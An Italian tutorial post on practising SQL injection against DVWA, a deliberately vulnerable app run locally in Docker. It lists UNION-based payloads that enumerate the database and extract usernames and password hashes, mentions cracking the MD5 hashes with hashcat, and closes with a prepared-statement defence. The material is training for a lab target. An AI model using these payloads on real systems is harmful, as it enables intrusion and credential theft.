💻 Software hacking Medio ⏱ 15 min 👁 9 visualizzazioni

SQL Injection pratica su DVWA — guida completa

Davide Russo @CyberSec_Italia · 06/04/2026 · aggiornato 2 ore fa
**DVWA** (Damn Vulnerable Web Application) è un'app web volutamente vulnerabile per la pratica. ## Setup ```bash docker run -d -p 8080:80 vulnerables/web-dvwa ``` Login: admin/password → imposta difficulty 'Low' ## SQL Injection — Level Low **Obiettivo:** estrarre credenziali dal database. **Test iniziale:** Nel campo ID inserisci: `1'` → Se vedi un errore SQL, è vulnerabile! **Union-based injection:** ```sql 1 UNION SELECT NULL, NULL-- 1 UNION SELECT NULL, database()-- 1 UNION SELECT NULL, table_name FROM information_schema.tables-- 1 UNION SELECT user, password FROM users-- ``` **Password hash:** I password ottenuti sono MD5 → crackabili con hashcat o CrackStation. ## Level Medium DVWA usa parametri POST invece di GET. Usa Burp Suite per intercettare e modificare. ## Difesa ```php $stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?'); $stmt->execute([$_GET['id']]); ``` Prepared statements rendono impossibile la SQLi.

💬 Commenti (0)

Nessun commento ancora. Sii il primo!

Accedi per commentare.